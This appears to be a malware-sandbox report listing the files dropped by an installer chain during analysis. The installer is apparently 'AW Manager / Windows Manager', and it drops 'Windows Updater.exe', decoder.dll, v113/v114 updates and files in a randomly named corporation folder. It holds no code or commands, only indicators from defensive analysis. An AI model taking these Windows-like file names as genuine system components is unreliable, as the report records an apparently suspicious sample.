Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICE09.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6EA3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBB85.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1E63.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA5ED.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6E7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1259.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI4CE0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICD1D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7FB9.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi743E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC7F2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC97E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\shiF808.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB0CD.tmp	Jump to dropped file
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	File created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File created: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: 680b04.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICFB6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA521.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICFF7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7FF9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6A82.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF77.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICC50.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC94E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI731E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI208C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-9GOQR.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI232D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC627.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6CE8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6C6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6ED3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F4A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6D86.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F72.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI735E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC676.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6929.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID0B4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB48C.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\INA4B57.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\shi4BD5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI73FD.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi4D3B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIF9EE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA376.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF56.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB4CC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICDCA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5E0C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8183.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F03.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC98F.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	File created: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5D6E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA493.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI703E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI743D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1FDF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF36.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI80A8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICEF6.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shiFB53.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-1L53Q.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\d98380e50ba80f4fa3adba0346158290.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6E83.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File created: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5C23.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC813.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA463.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC92E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA3F5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1F60.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi5E23.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID036.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-PML8F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1DA7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\INAF75B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF16.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB6B2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI738E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB05F.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI12C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA2C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC745.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6AB2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB15B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI73CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB3BF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC5F7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5BF3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC833.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5DCD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB1F8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC5C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5BA4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: 680af9.rbf (copy)	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB41E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6BEB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1E83.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F89.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB605.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB370.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA63C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a3.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\4120bfd883d24a4daf0a8db223a7081f.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: 680aff.rbf (copy)	Jump to dropped file

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	Jump to dropped file
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	File created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\d98380e50ba80f4fa3adba0346158290.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\4120bfd883d24a4daf0a8db223a7081f.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\cd2f845e419388478df81bc59730a20b.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA3C5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1F30.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi5EB1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID28A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8687.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1239.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI4C62.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI832A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI10B0.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi4DAA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI11F9.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi74BC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5C73.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6CC8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6DC5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8057.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F32.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI234D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICEC6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI71C6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1336.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICFD6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6E53.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICE09.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6EA3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBB85.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1E63.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA5ED.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6E7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1259.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI4CE0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICD1D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7FB9.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi743E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC7F2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC97E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB0CD.tmp	Jump to dropped file
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	File created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICFB6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA521.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICFF7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7FF9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6A82.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF77.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICC50.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC94E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI731E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI208C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI232D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC627.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6CE8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6C6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6ED3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F4A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6D86.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F72.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI735E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC676.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6929.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID0B4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB48C.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\INA4B57.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\shi4BD5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI73FD.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi4D3B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA376.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF56.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB4CC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICDCA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5E0C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8183.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F03.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC98F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5D6E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA493.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI703E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI743D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1FDF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF36.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI80A8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICEF6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6E83.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5C23.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC813.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA463.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC92E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA3F5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1F60.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi5E23.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID036.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1DA7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF16.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB6B2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI738E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB05F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI12C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC745.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA2C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6AB2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB15B.tmp	Jump to dropped file
